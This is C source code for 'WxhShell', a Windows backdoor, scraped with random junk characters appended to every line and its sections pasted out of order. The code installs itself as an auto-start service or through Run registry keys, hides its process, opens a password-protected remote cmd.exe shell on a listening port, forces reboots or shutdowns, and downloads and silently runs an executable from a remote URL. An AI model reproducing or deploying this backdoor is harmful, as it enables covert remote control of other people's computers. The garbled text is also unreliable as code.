    if(Boot(SHUTDOWN)) }g$(+1g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ix#epuN  
    else { Wrrcx(  
    closesocket(wsh); yLsz8j-QJ  
    ExitThread(0); .uNQBBNv  
    } h"H2z1$  
    break; +~xnXb1  
    } b;)~wU=  
  // 获取shell {.yStB. T  
  case 's': { ,39aF*r1Q  
    CmdShell(wsh); qc#)!   
    closesocket(wsh); 0* /{4)r  
    ExitThread(0); '#(v=|J  
    break; C7H/N<VAq  
  } <C9 XX~  
  // 退出 >vuY+o;B  
  case 'x': { _|"Y]:j_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  JHf  
    CloseIt(wsh); ~rjTF!  
    break; ?<6CFH]  
    } c1%H4j4/  
  // 离开 0\2\*I}?  
  case 'q': { &W f3~hmo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QdLYCR4f  
    closesocket(wsh); V138d?Mm  
    WSACleanup(); iS5W>1]  
    exit(1); zni)<fmju  
    break; F@R1:M9*  
        } P ~PIMkt  
  } 31EyDU,W  
  } 4(-b x.V  
y>*xVK{D  
  // 提示信息 `# sTmC)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lY*[tmz)  
} M)sZSH.<O  
  } }8;[O 9  
d&#~ h:~  
  return; 2>*%q%81  
} 9o>8o  
Cuc$3l(%  
// shell模块句柄 t<n"-Tqu  
int CmdShell(SOCKET sock) rpw.]vnn  
{ Py`N4y ~  
STARTUPINFO si; "TH6o: x  
ZeroMemory(&si,sizeof(si)); =}PdH`S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Y.tz`2D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]0L&v7[  
PROCESS_INFORMATION ProcessInfo; Dde]I_f}  
char cmdline[]="cmd"; *'"^NSJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;;A2!w{}[i  
  return 0; vky.^  
} Kt0(gQOr0  
]jpu,jz:  
// 自身启动模式 d6i6hcQE  
int StartFromService(void) Y'e eA 2O  
{ 5s?Hxn  
typedef struct <w\:<5e'  
{ fu$R7  
  DWORD ExitStatus; HK+/:'P u  
  DWORD PebBaseAddress; j5I`a 1j`  
  DWORD AffinityMask; zS] 8V?`  
  DWORD BasePriority; :rP#I#,7w  
  ULONG UniqueProcessId; n<B<93f/  
  ULONG InheritedFromUniqueProcessId; <'G~8tA%v  
}   PROCESS_BASIC_INFORMATION; ,.gQ^^+=  
BPr ^D0P  
PROCNTQSIP NtQueryInformationProcess; kF>o.uSV  
(LHp%LaZ\;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DS|KkTy3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n&A'C\  
ly WwGR  
  HANDLE             hProcess; FYS/##r  
  PROCESS_BASIC_INFORMATION pbi; 0kDK~iT  
MQ)L:R` L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w{k)XY40sW  
  if(NULL == hInst ) return 0; TE )gVE]  
}K hjlPhx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9C t`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [yj).*0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^*~;k|;&  
M,}|tsL  
  if (!NtQueryInformationProcess) return 0; $Ci0I+5w  
lO:. OZu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e|4&b@  
  if(!hProcess) return 0; R}mn*h6  
Z/rTVAs@r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1 y}2+Kk  
6oSQQhge  
  CloseHandle(hProcess); 5sPywk{  
U:F/ iXz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2 &Nb  
if(hProcess==NULL) return 0; G|8%qd  
NA,C Z  
HMODULE hMod; 4 g. bR  
char procName[255];  'Pvm8t  
unsigned long cbNeeded; 5X.e*;  
?OdJqw0,G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w;v7_  
%r)avI  
  CloseHandle(hProcess); L!_ZY  
P6,7]6bp  
if(strstr(procName,"services")) return 1; // 以服务启动 ~el3I=KC}  
#}^-C&~  
  return 0; // 注册表启动 rwIe qV{:  
} kX:tc   
v}^5Rp&m  
// 主模块  htY=w}>  
int StartWxhshell(LPSTR lpCmdLine) YC]L)eafo`  
{ v&FF|)$  
  SOCKET wsl; 97!>%d[0  
BOOL val=TRUE; ~"Gf<3^y+  
  int port=0; `IINq{Zk  
  struct sockaddr_in door; P\CDd=yWc  
@xsCXCRWVV  
  if(wscfg.ws_autoins) Install(); I &*_,d  
^% Q|s#w.  
port=atoi(lpCmdLine); pS4&w8s  
avp; *G }  
if(port<=0) port=wscfg.ws_port; 2fIRlrA$  
~8`:7m?  
  WSADATA data; XS~- vF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <*H^(0  
R6 XuA(5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @+U,Nzd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2S`?hxAL  
  door.sin_family = AF_INET; ^0W(hA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bshGS8O  
  door.sin_port = htons(port); g=}v>[k E  
#$vRJ#S}U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #n\C |  
closesocket(wsl); Uh.Zi3X6}6  
return 1; 5sde  
} Q Z8QQ`*S  
M^rM-{?<  
  if(listen(wsl,2) == INVALID_SOCKET) { NkxCs  
closesocket(wsl); Y^"4?96  
return 1; #y]3LC#)^G  
} U3vEdw<lV  
  Wxhshell(wsl); RaSz>-3d  
  WSACleanup(); #iSFf  
.DJDpP)M  
return 0; C-P06Q]  
5TBI<K  
} Bd bJ< Is  
!a1i Un9  
// 以NT服务方式启动 MQ][mMM;w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z}}]jR \y?  
{ 2>S~I"o0  
DWORD   status = 0; z*~YLT&  
  DWORD   specificError = 0xfffffff; B'>*[!A  
"C%!8`K{a*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; . ,NB( s`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #:3r4J%+~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yeD_j/  
  serviceStatus.dwWin32ExitCode     = 0; 8dT'xuch  
  serviceStatus.dwServiceSpecificExitCode = 0; >Pe:I  
  serviceStatus.dwCheckPoint       = 0; .BTx&AqU  
  serviceStatus.dwWaitHint       = 0; >e5zrgV  
!^U6Z@&/R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P`s(kIe  
  if (hServiceStatusHandle==0) return; ^[h2%c$  
}IUP5O6  
status = GetLastError(); nR5bs;gk"  
  if (status!=NO_ERROR) >L2*CV3p  
{ 67<CbQZoN3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~] =?b)B  
    serviceStatus.dwCheckPoint       = 0; 1JTbCS  
    serviceStatus.dwWaitHint       = 0; !awh*Xj6  
    serviceStatus.dwWin32ExitCode     = status; GCE!$W  
    serviceStatus.dwServiceSpecificExitCode = specificError; % mn />  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l^ 4OC  
    return; 4E"d/  
  } &>}.RX]t  
C@dGWAG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y~#\#w {  
  serviceStatus.dwCheckPoint       = 0; ^/KfH &E  
  serviceStatus.dwWaitHint       = 0; XK3]AYH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =mrY/ :V  
} 9$tl00  
hN4VlNKu  
// 处理NT服务事件,比如:启动、停止 i^%-aBZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) , p0KLU\-  
{ dt-K  
switch(fdwControl) G j6. Iv  
{ CV^0.  
case SERVICE_CONTROL_STOP: DA <ynBQ  
  serviceStatus.dwWin32ExitCode = 0; >a]t<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F/<qE!(  
  serviceStatus.dwCheckPoint   = 0; A o3HX  
  serviceStatus.dwWaitHint     = 0; EODB`$+  
  { vj3isI4lU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5-p.MGso  
  } _@prmSc  
  return; @%B4;c  
case SERVICE_CONTROL_PAUSE: KSOO?X0j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )Xno|$b5Eo  
  break; ##~!M(c  
case SERVICE_CONTROL_CONTINUE: agY5Dg7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _'c+fG \  
  break; gB+ G'I  
case SERVICE_CONTROL_INTERROGATE: PRp E$`WK  
  break; $r"A@69^RS  
}; 2Guvze_bU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Y.e[@!1x  
} iBHw[X,b  
jaqV[*440U  
// 标准应用程序主函数 )VY10 R)$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {bTeAfbf]  
{ 6^ik|k|  
1 ;Ju]  
// 获取操作系统版本 ~u2w`H?V  
OsIsNt=GetOsVer(); L1MrrC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H XP;0B%4  
;.0LRWcJ  
  // 从命令行安装 b]K>vhQV  
  if(strpbrk(lpCmdLine,"iI")) Install(); P CsK()  
VKf6|ae  
  // 下载执行文件  8bbVbP  
if(wscfg.ws_downexe) { WgZ@N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >t,O2~  
  WinExec(wscfg.ws_filenam,SW_HIDE); _Y7:!-n}   
} <{ # <5 8  
V g6S/-  
if(!OsIsNt) { ~*kK4]lP  
// 如果时win9x,隐藏进程并且设置为注册表启动 dgY5ccP  
HideProc(); 7V/Zr  
StartWxhshell(lpCmdLine); 9@etg4#]  
} h/9Sg*k  
else 9/Wn!Ld  
  if(StartFromService()) w< mqe0  
  // 以服务方式启动 ax]9QrA  
  StartServiceCtrlDispatcher(DispatchTable); YR8QO-7 .)  
else [$oM  
  // 普通方式启动 P|v ?  
  StartWxhshell(lpCmdLine); ;3 dM@>5[  
D0KELA cY  
return 0; p Mh++H]"  
} `{WCrw6)  
kw;wlFU;  
_Ua PwJ  
LiF.w:}  
=========================================== (Y>U6  
0*{@E%9  
Ul9b.`6  
6iyt2q kh  
@NBXyC8,Z  
>LCjtm\  
" #-A5Z;TD.  
. *Z#cq0  
#include <stdio.h> s7AI:Zv  
#include <string.h> R<t&F\>  
#include <windows.h> l2r>|CGQ[  
#include <winsock2.h> |B,dEx/uU  
#include <winsvc.h> m9uUDq#GJ  
#include <urlmon.h> cUYX1a)8  
KM EXT$p  
#pragma comment (lib, "Ws2_32.lib") J ( =4  
#pragma comment (lib, "urlmon.lib") m/cx|b3hqv  
Mru~<:9  
#define MAX_USER   100 // 最大客户端连接数 Scf.4~H 0  
#define BUF_SOCK   200 // sock buffer T<_+3kw  
#define KEY_BUFF   255 // 输入 buffer aTi0bQW{  
@RQ+JYQi  
#define REBOOT     0   // 重启 %jpH:-8'2  
#define SHUTDOWN   1   // 关机 m2wp m_vV#  
La@\q[U{@  
#define DEF_PORT   5000 // 监听端口 (1OW6xtfG  
"ngSilH?D  
#define REG_LEN     16   // 注册表键长度 L/c4"f|.*v  
#define SVC_LEN     80   // NT服务名长度 x!Y(Y=i>  
`AB~YX%(  
// 从dll定义API 9{T 8M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aS2a_!f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q=J9L Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); elNB7%Y/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $HP/c Ku  
(q0No26;(  
// wxhshell配置信息 nqBG]y aI  
struct WSCFG { oA5<[&~<  
  int ws_port;         // 监听端口 Fa6H(L3  
  char ws_passstr[REG_LEN]; // 口令 LNWqgIq  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8Ix -i  
  char ws_regname[REG_LEN]; // 注册表键名 )j$b9ZBk  
  char ws_svcname[REG_LEN]; // 服务名 z&\Il#'\m+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S5zpUF=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gF$1wV]e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ' }y]mFpF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X L{{7%j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nYmf(DV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >aNbp  
7uWJ6Wk  
}; GG@iKL V  
m 4wPuW  
// default Wxhshell configuration 7[(Lrx.pM  
struct WSCFG wscfg={DEF_PORT, L{4),65  
    "xuhuanlingzhe", gK&5HTo  
    1, DKe6?PG  
    "Wxhshell", TsoCW]h  
    "Wxhshell", <L[T'ZE+  
            "WxhShell Service", |_xZ/DT  
    "Wrsky Windows CmdShell Service", BT y]!%r'  
    "Please Input Your Password: ", PmuEL@'^ U  
  1, (CKhY~,/u  
  "http://www.wrsky.com/wxhshell.exe", }3 fLV  
  "Wxhshell.exe" 1R^XWAb  
    }; ~*,Ddwr0a  
'Qp&,xK  
// 消息定义模块 x9FLr}e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y3 Pz00x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 48*Oh2BA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^=4I|+P,6.  
char *msg_ws_ext="\n\rExit."; C}M0XW  
char *msg_ws_end="\n\rQuit."; "u3fs2  
char *msg_ws_boot="\n\rReboot..."; >x|A7iWn{,  
char *msg_ws_poff="\n\rShutdown..."; [RGC!}"mr  
char *msg_ws_down="\n\rSave to "; I{*.htt{  
ntA[[OIFO  
char *msg_ws_err="\n\rErr!"; 0XBBA0t q  
char *msg_ws_ok="\n\rOK!"; 02]8|B(E90  
d=xI   
char ExeFile[MAX_PATH]; 5p#o1I  
int nUser = 0; T_5*iwI  
HANDLE handles[MAX_USER]; {y+v-v/#  
int OsIsNt; H`+]dXLB  
&k%wOz1vM  
SERVICE_STATUS       serviceStatus; pUCEYR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (IO \+  
~x +:44*  
// 函数声明 eY6gb!5u  
int Install(void); l"~h1xk~  
int Uninstall(void); O|^6UH  
int DownloadFile(char *sURL, SOCKET wsh); )Bm^aMVl3  
int Boot(int flag); h^[pp c{Z  
void HideProc(void); ]XpU'/h>q;  
int GetOsVer(void); 4:%El+,_Y  
int Wxhshell(SOCKET wsl); 0s+rd&  
void TalkWithClient(void *cs); dZ;~b(CA  
int CmdShell(SOCKET sock); $z`cMQ r  
int StartFromService(void); I49=ozPP  
int StartWxhshell(LPSTR lpCmdLine); SoM ]2^  
YDZ1@N}^B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @'NaA SB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .LGkr@P  
Hm8EYPr J  
// 数据结构和表定义 }{w_>!ee  
SERVICE_TABLE_ENTRY DispatchTable[] = pO7{3%  
{ tswG"1R  
{wscfg.ws_svcname, NTServiceMain}, p[k9C$@e}  
{NULL, NULL} JUaKj@a|  
}; Tg{dIh.Q~O  
!,-qn)b  
// 自我安装 u1pYlu9IW  
int Install(void) B9;,A;E};  
{ =Y=^]ayO/  
  char svExeFile[MAX_PATH]; l66ipgw_^I  
  HKEY key; :'^dy%&UB  
  strcpy(svExeFile,ExeFile); d@q t%r3;  
/K Jx n6  
// 如果是win9x系统,修改注册表设为自启动 |]]pHC_/W  
if(!OsIsNt) { Um0<I)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [y&h_w.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V"Y Fu^L  
  RegCloseKey(key); ][>M<J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E6wST@ r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~1wdAq`'a  
  RegCloseKey(key); e&a[k  
  return 0; ,[K)E  
    } U~zN*2-  
  } Pi]s<3PL  
} ZC\.};.  
else { C{I8Pio{b  
S;AnpiBM8  
// 如果是NT以上系统,安装为系统服务 ^2?O+ =,F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h+'eFAZ  
if (schSCManager!=0) Iy1X nS*  
{ |yl0}. ()  
  SC_HANDLE schService = CreateService 5KPPZmO  
  ( Zn*CJNB  
  schSCManager, ?PxYS%D_L  
  wscfg.ws_svcname, cI4qgV  
  wscfg.ws_svcdisp, `))J8j"  
  SERVICE_ALL_ACCESS, &fNE9peQFa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aBtfZDCfzp  
  SERVICE_AUTO_START, a518N*]j  
  SERVICE_ERROR_NORMAL, =x.v*W]F`  
  svExeFile, X=c ,`&^  
  NULL, BO\`m%8md  
  NULL, Y| N vBr  
  NULL, fOjt` ~ToI  
  NULL, L4A/7Ep  
  NULL )b2E/G@X&  
  ); e !x-:F#4j  
  if (schService!=0) ", Rw%_  
  { [@?.}!  
  CloseServiceHandle(schService); Q{|'g5(O  
  CloseServiceHandle(schSCManager); . eag84_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iKEKk\j-w  
  strcat(svExeFile,wscfg.ws_svcname); rxK[CDM,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BHBT=,sI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hw.demD  
  RegCloseKey(key); k-PRV8WO  
  return 0; uM!r|X)8  
    } H=SMDj)s+  
  } aKU8" 5  
  CloseServiceHandle(schSCManager); #Uk6Fmu ]  
} -bb7Y  
} \U  =>  
J3}C T  
return 1; yD id` ym  
} }6{)Jv  
]X;*\-  
// 自我卸载 L5|;VH  
int Uninstall(void) )^@V*$D  
{ $A0]v!P~i-  
  HKEY key; {_N(S]Z  
]qG5 Ne _  
if(!OsIsNt) { #UnO~IE.m$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IG@&l0ARL  
  RegDeleteValue(key,wscfg.ws_regname); szs3x-g  
  RegCloseKey(key); I8wVvs;k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q2WrB+/  
  RegDeleteValue(key,wscfg.ws_regname); @9P9U`ZP  
  RegCloseKey(key); k  5kX  
  return 0; y/*Tvb #TJ  
  } 3T^dgWXEG  
}  0 9'o  
} "JGig!9  
else { $>37PVVW  
-.3k vL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d33Nx)No  
if (schSCManager!=0) on&=%tCAL  
{ KvOI)"0(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :rc[j@|pH  
  if (schService!=0) 4T\/wyq0  
  { m&c(N  
  if(DeleteService(schService)!=0) { tdK^X1  
  CloseServiceHandle(schService); e[o ;l  
  CloseServiceHandle(schSCManager); JT_B@TO\  
  return 0; j@\/]oL^We  
  } A{"t0Ai='0  
  CloseServiceHandle(schService); eTHh  
  } ]KT,s].  
  CloseServiceHandle(schSCManager); V!tBipX%  
} eV}Tx;1|}  
} vK~KeZ\,p=  
;P#*R3   
return 1; RIx6& 7$  
} q9]L!V 9Rv  
6MQ:C'8T&=  
// 从指定url下载文件 Oj\mkg  
int DownloadFile(char *sURL, SOCKET wsh) 7OHw/-j\  
{ l[{}ZKZ  
  HRESULT hr; "$YLU}S9  
char seps[]= "/"; ;g9:0,xT4  
char *token; ^Pp FI  
char *file; k= 1+mG  
char myURL[MAX_PATH]; ?LM'5  
char myFILE[MAX_PATH]; /a)=B)NH  
fbkjK`_q  
strcpy(myURL,sURL); "A3xX&9-q  
  token=strtok(myURL,seps); @b({QM|  
  while(token!=NULL) be@uHikp;v  
  { (j"MsCwE  
    file=token; >xgd<  
  token=strtok(NULL,seps); 8"^TWzg}L  
  } 9hpM*wt  
F\72^,0  
GetCurrentDirectory(MAX_PATH,myFILE); sR nMBW.  
strcat(myFILE, "\\"); -2d&Aq4m)  
strcat(myFILE, file); (Ad! hyE(  
  send(wsh,myFILE,strlen(myFILE),0); JFdzA  
send(wsh,"...",3,0); x*)O<K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8 \Oiv$r  
  if(hr==S_OK) W{aNS@1  
return 0; !%9I%Ak^  
else P://Zi6>  
return 1; PCjY,O  
4VgDN(n0@  
} i(rY'o2 BN  
G$<0_0GF  
// 系统电源模块 Y.#+Yh[  
int Boot(int flag) *h6i9V%'  
{ 1A`";E&  
  HANDLE hToken; (0f^Hh wF  
  TOKEN_PRIVILEGES tkp; iq -o$6Pg  
G> >_G<x  
  if(OsIsNt) { !CKUkoX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h65j,v6B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rg.if"o  
    tkp.PrivilegeCount = 1; H)tDfk sq\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F{tSfKy2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cw{[B%vw  
if(flag==REBOOT) { "-%H</  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v^'~-^s  
  return 0; iSHl_/I<  
} nrBitu,  
else { !f 6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :DJ@HY  
  return 0; [*t E HW  
} v(~m!8!TI  
  } qC1@p?8$  
  else { -^DB?j+  
if(flag==REBOOT) { UtN>6$u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y[4B{  
  return 0; ow "Xv  
} RUKSGj_NJ  
else { FO$Tn+\6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -&}E:zoe  
  return 0; OFv} jT  
} 566Qik w2  
} )/'s& D  
^cm^JyS)  
return 1; ri ~2t3gg  
} z^.0eP8\j  
y rk#)@/m  
// win9x进程隐藏模块 flqTx)xE  
void HideProc(void) 5@ug1F&   
{ Q #gHD  
X$f%Ss  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  %3j5Q   
  if ( hKernel != NULL ) )VC) }  
  { k7*q.20  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $'q(Z@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nCU4a1rZ  
    FreeLibrary(hKernel); L_,U*Jyo  
  } jLSZ#H  
hLRQ)  
return; Z]<_a)>  
} <h({+N  
L%FL{G  
// 获取操作系统版本 #ZA YP  
int GetOsVer(void) 30@ GFaab  
{ ^ dqEOW  
  OSVERSIONINFO winfo; 9&cZIP   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [@6iStRg7  
  GetVersionEx(&winfo); }^muAr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e^yB9b  
  return 1; jxvVp*-=<j  
  else nP^$p C  
  return 0; Npqbxb  
} %:*HzYf  
32yNEP{  
// 客户端句柄模块 H^G*5EQK  
int Wxhshell(SOCKET wsl) I?QKd@  
{ /V&Y@j  
  SOCKET wsh; kN)ev?pQ[  
  struct sockaddr_in client; ~6tY\6$9f  
  DWORD myID; e 3K  
8T4J^6  
  while(nUser<MAX_USER) PJ{.jWwD  
{ 7 <xxOY>y  
  int nSize=sizeof(client); |Bp?"8%*l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /!hW6u5  
  if(wsh==INVALID_SOCKET) return 1; rzu^br9X  
;QYK {3R?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q)*0G*  
if(handles[nUser]==0) ArY'NE\Htt  
  closesocket(wsh); '' 6  
else 4rm/+Zes  
  nUser++; cu-WY8n  
  } scdT/|(U$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E _K7.c4M  
gA6C(##0  
  return 0; DI_mF#5q  
} H|Ems}b  
+-hmITJ v  
// 关闭 socket F r~xN!  
void CloseIt(SOCKET wsh) x>^S..K}L%  
{ Y*Pr  
closesocket(wsh); 8/:\iPk0  
nUser--; Q*I/mUP&f  
ExitThread(0); "q$M\jK#V  
}  X_lNnk  
zF PSk ]  
// 客户端请求句柄 $IHa]9 {  
void TalkWithClient(void *cs) {#vo^& B  
{ SZ_hGD0  
AF@C9s  
  SOCKET wsh=(SOCKET)cs; _PIk,!<  
  char pwd[SVC_LEN]; d1-QkW^0y  
  char cmd[KEY_BUFF]; b}fH$.V@  
char chr[1]; +"!IVHY  
int i,j; =F9-,"EAI  
x-1[2K1"[  
  while (nUser < MAX_USER) { <x/&Ml+  
,f$ RE6  
if(wscfg.ws_passstr) { WCH>9Z>cj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >9 iv>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KvQ9R!V  
  //ZeroMemory(pwd,KEY_BUFF); *b&|  
      i=0; 7% h Mf$KQ  
  while(i<SVC_LEN) { sdb#K?l  
g0l- n  
  // 设置超时 9;PtY dJ8  
  fd_set FdRead; <t8})  
  struct timeval TimeOut; 2h=RNU|  
  FD_ZERO(&FdRead); d^7<l_u~ !  
  FD_SET(wsh,&FdRead); !Ej<J&e  
  TimeOut.tv_sec=8; Rh=h{O  
  TimeOut.tv_usec=0; Jps!,Mflc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i |t$sBIh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q45n.A6a  
c0@v`-9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 344- ~i*  
  pwd=chr[0]; r <U }lK  
  if(chr[0]==0xd || chr[0]==0xa) { MStaP;|  
  pwd=0; ek9%Xk8  
  break; e.N#+  
  } ,q4Y N-3  
  i++; D3]_AS&\  
    } W|:WAxJ*d  
QZX+E   
  // 如果是非法用户,关闭 socket aePk^?KbB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *`kh}  
} !>M: G:K  
:0J;^@   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5lT lZRH1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Af;$}P  
="V6z$N  
while(1) { LVSJK.B  
e. [h  
  ZeroMemory(cmd,KEY_BUFF); "h "vp&A  
8O]$)E  
      // 自动支持客户端 telnet标准   |q?A8@\u  
  j=0; ^W^%PJ D |  
  while(j<KEY_BUFF) { > B==*,|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dwRJ0D]&  
  cmd[j]=chr[0]; 37VSE@Z+  
  if(chr[0]==0xa || chr[0]==0xd) { i]P]o)  
  cmd[j]=0; Na4\)({  
  break; 0VPa=AW  
  } +S$x}b'5q  
  j++; ]c08`  
    } zJPzI{-w|  
\QVL%,.%M  
  // 下载文件 T!8,R{V]4  
  if(strstr(cmd,"http://")) { *cf#:5Nl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SO|$X  
  if(DownloadFile(cmd,wsh)) Gd!y,n&s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @>:r'Fmu-  
  else O %OeYO69  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4oJ0,u  
  } C&\#{m_1B  
  else { /)j:Y:5  
{a(TT)d  
    switch(cmd[0]) { $. Ih-  
  {<V{0 s%  
  // 帮助 U<zOR=_  
  case '?': { Gx!Y 4Q}-  
